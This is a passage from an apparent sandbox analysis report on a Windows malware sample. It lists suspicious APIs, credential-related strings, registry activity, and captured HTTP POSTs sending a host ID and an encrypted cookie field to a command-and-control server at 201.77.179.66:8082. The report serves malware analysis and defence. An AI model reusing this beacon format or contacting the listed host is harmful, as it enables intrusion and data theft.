"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp")3d:T680,Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegOpenKeyW" (Indicator: "RegOpenKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "RegOpenKeyW" (Indicator: "RegOpenKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp")3e:T449,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp")3f:T476,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp")40:Tc78,Found string "CMS_add0_recipient_password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "CMS_decrypt_set1_password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "CMS_RecipientInfo_set0_password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "no password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "missing secret" (Indicator: "secret"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "secret" (Indicator: "secret"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "hexsecret" (Indicator: "secret"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "secretBag" (Indicator: "secret"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "secretary" (Indicator: "secret"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "password based MAC" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "bad password read" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "problems getting password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "PKCS12 import password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "PKCS8 decrypt password" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "PEM password callback wrapper" (Indicator: "password"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found string "tls13_generate_secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "derive_secret_key_and_iv" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "srp_generate_client_master_secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "srp_generate_server_master_secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "ssl3_generate_master_secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "Extended master secret: %s" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "extended master secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "master secret" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "SSL_CTX_set_srp_password" (Indicator: "password"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp") Found string "SSL_set_session_secret_cb" (Indicator: "secret"; Source: "00000000-00000308.00000002.70418.C6C05000.00000002.mdmp")41:T401,Found string "\Device\HarddiskVolume2\9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Indicator: "\Device\"; Source: "00000000-00000308.00000000.66577.9FC50000.00000004.mdmp, 00000000-00000308.00000001.68500.9FC50000.00000004.mdmp, 00000000-00000308.00000002.70418.9FC50000.00000004.mdmp") Found string "00-50-56-91-6F-37 \Device\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}" (Indicator: "\Device\"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "P00-50-56-91-6F-37 \Device\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}" (Indicator: "\Device\"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp") Found string "O00-50-56-91-6F-37 \Device\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}" (Indicator: "\Device\"; Source: "00000000-00000308.00000001.68500.A16F0000.00000004.mdmp, 00000000-00000308.00000002.70418.A16F0000.00000004.mdmp")42:T42b,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3EFF058F312DDA0100000000000000000000000002000000") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "^JR") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EBB9E38F312DDA0100000000000000000000000002000000")43:Tcde,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")44:T528f,"POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 254 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=85bf4868-0af8-482c-8ab9-62321542d77f Accept-Encoding: gzip,deflate" with payload::==> "--85bf4868-0af8-482c-8ab9-62321542d77f Content-Disposition: form-data; name="type"; system32 --85bf4868-0af8-482c-8ab9-62321542d77f Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --85bf4868-0af8-482c-8ab9-62321542d77f--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:53 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 14 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>36372E3231382E3131312E323032....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=fb00a1cf-f27e-409b-a420-268b21003c7b Accept-Encoding: gzip,deflate" with payload::==> "--fb00a1cf-f27e-409b-a420-268b21003c7b Content-Disposition: form-data; name="id"; --fb00a1cf-f27e-409b-a420-268b21003c7b Content-Disposition: form-data; name="type"; windows --fb00a1cf-f27e-409b-a420-268b21003c7b Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --fb00a1cf-f27e-409b-a420-268b21003c7b--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:57 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 640 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ce26bf46-5922-475d-90eb-8377c2cb53d6 Accept-Encoding: gzip,deflate" with payload::==> "--ce26bf46-5922-475d-90eb-8377c2cb53d6 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --ce26bf46-5922-475d-90eb-8377c2cb53d6 Content-Disposition: form-data; name="type"; ProgramData --ce26bf46-5922-475d-90eb-8377c2cb53d6 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --ce26bf46-5922-475d-90eb-8377c2cb53d6 Content-Disposition: form-data; name="cookie"; result<-=_=->8uDs63p64zyW/qcqecJebAc5wC4uNlmgh584avWxtO8q2TMJCUGLu5TBVLvnCFoWb+FV74rELqlwQXjhQWWKTuAUzEoqHJbAMslieJxNwhSffZ3jh2FaYQyKycr9q3+XaPURtPST/YUUhKpXhkiHWO8NE9ARsxtNyAWd165xCIE= --ce26bf46-5922-475d-90eb-8377c2cb53d6--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:58 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 509 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B3C6272202F3E0A3C623E466174616C206572726F723C2F623E3A2020556E63617567687420547970654572726F723A2066636C6F736528293A2041726775....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=155afb6c-0d2b-470d-a69b-2cf4357eb152 Accept-Encoding: gzip,deflate" with payload::==> "--155afb6c-0d2b-470d-a69b-2cf4357eb152 Content-Disposition: form-data; name="id"; --155afb6c-0d2b-470d-a69b-2cf4357eb152 Content-Disposition: form-data; name="type"; windows --155afb6c-0d2b-470d-a69b-2cf4357eb152 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --155afb6c-0d2b-470d-a69b-2cf4357eb152--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:58 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=123b20af-dcb4-4e35-8d1d-904c6d837167 Accept-Encoding: gzip,deflate" with payload::==> "--123b20af-dcb4-4e35-8d1d-904c6d837167 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --123b20af-dcb4-4e35-8d1d-904c6d837167 Content-Disposition: form-data; name="type"; network --123b20af-dcb4-4e35-8d1d-904c6d837167 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --123b20af-dcb4-4e35-8d1d-904c6d837167--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:59 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee Accept-Encoding: gzip,deflate" with payload::==> "--8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee Content-Disposition: form-data; name="id"; --8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee Content-Disposition: form-data; name="type"; windows --8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --8674a5d4-30a8-4f3a-90d5-a141fcb1e7ee--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:29:59 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0b18952c-4e81-44fc-838a-9db107a07a5b Accept-Encoding: gzip,deflate" with payload::==> "--0b18952c-4e81-44fc-838a-9db107a07a5b Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --0b18952c-4e81-44fc-838a-9db107a07a5b Content-Disposition: form-data; name="type"; network --0b18952c-4e81-44fc-838a-9db107a07a5b Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --0b18952c-4e81-44fc-838a-9db107a07a5b--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:00 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8 Accept-Encoding: gzip,deflate" with payload::==> "--fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8 Content-Disposition: form-data; name="id"; --fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8 Content-Disposition: form-data; name="type"; windows --fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --fc5b2f9e-e1a1-45e5-b92f-54e5f42400d8--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:01 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=36d7651b-a056-4cb9-a8a3-a5006c3bb549 Accept-Encoding: gzip,deflate" with payload::==> "--36d7651b-a056-4cb9-a8a3-a5006c3bb549 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --36d7651b-a056-4cb9-a8a3-a5006c3bb549 Content-Disposition: form-data; name="type"; network --36d7651b-a056-4cb9-a8a3-a5006c3bb549 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --36d7651b-a056-4cb9-a8a3-a5006c3bb549--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:02 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=031cfc76-0e60-44c0-9a52-3c4cd722eb03 Accept-Encoding: gzip,deflate" with payload::==> "--031cfc76-0e60-44c0-9a52-3c4cd722eb03 Content-Disposition: form-data; name="id"; --031cfc76-0e60-44c0-9a52-3c4cd722eb03 Content-Disposition: form-data; name="type"; windows --031cfc76-0e60-44c0-9a52-3c4cd722eb03 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --031cfc76-0e60-44c0-9a52-3c4cd722eb03--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:02 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0 Accept-Encoding: gzip,deflate" with payload::==> "--7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0 Content-Disposition: form-data; name="type"; network --7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --7ba407ca-35e2-4d7d-bba5-2ec2a3e2eae0--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:03 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=f80e890f-52b9-4f6f-897d-51804aa07330 Accept-Encoding: gzip,deflate" with payload::==> "--f80e890f-52b9-4f6f-897d-51804aa07330 Content-Disposition: form-data; name="id"; --f80e890f-52b9-4f6f-897d-51804aa07330 Content-Disposition: form-data; name="type"; windows --f80e890f-52b9-4f6f-897d-51804aa07330 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --f80e890f-52b9-4f6f-897d-51804aa07330--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:03 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=d1ef85bd-156b-45ed-a5d5-c18d49b96328 Accept-Encoding: gzip,deflate" with payload::==> "--d1ef85bd-156b-45ed-a5d5-c18d49b96328 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --d1ef85bd-156b-45ed-a5d5-c18d49b96328 Content-Disposition: form-data; name="type"; network --d1ef85bd-156b-45ed-a5d5-c18d49b96328 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --d1ef85bd-156b-45ed-a5d5-c18d49b96328--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:04 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=a39af462-587d-46c6-9175-6e9642688b0e Accept-Encoding: gzip,deflate" with payload::==> "--a39af462-587d-46c6-9175-6e9642688b0e Content-Disposition: form-data; name="id"; --a39af462-587d-46c6-9175-6e9642688b0e Content-Disposition: form-data; name="type"; windows --a39af462-587d-46c6-9175-6e9642688b0e Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --a39af462-587d-46c6-9175-6e9642688b0e--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:05 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 358 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=31d2f75b-ddb5-4adf-9574-b8619ff1be21 Accept-Encoding: gzip,deflate" with payload::==> "--31d2f75b-ddb5-4adf-9574-b8619ff1be21 Content-Disposition: form-data; name="id"; 149C156F2F3AFE90 --31d2f75b-ddb5-4adf-9574-b8619ff1be21 Content-Disposition: form-data; name="type"; network --31d2f75b-ddb5-4adf-9574-b8619ff1be21 Content-Disposition: form-data; name="session"; 23wfow02rofw391ng23 --31d2f75b-ddb5-4adf-9574-b8619ff1be21--" HTTP/1.1 200 OK Date: Tue 12 Dec 2023 11:30:06 GMT Server: Apache X-Powered-By: PHP/8.0.28 Content-Length: 2 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6F6B....... "POST /img/lndex.php HTTP/1.1 User-Agent: dlang-requests Content-Length: 342 Host: 201.77.179.66:8082 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4a23f9eb-3951-475b-affd-ef2a748b4132 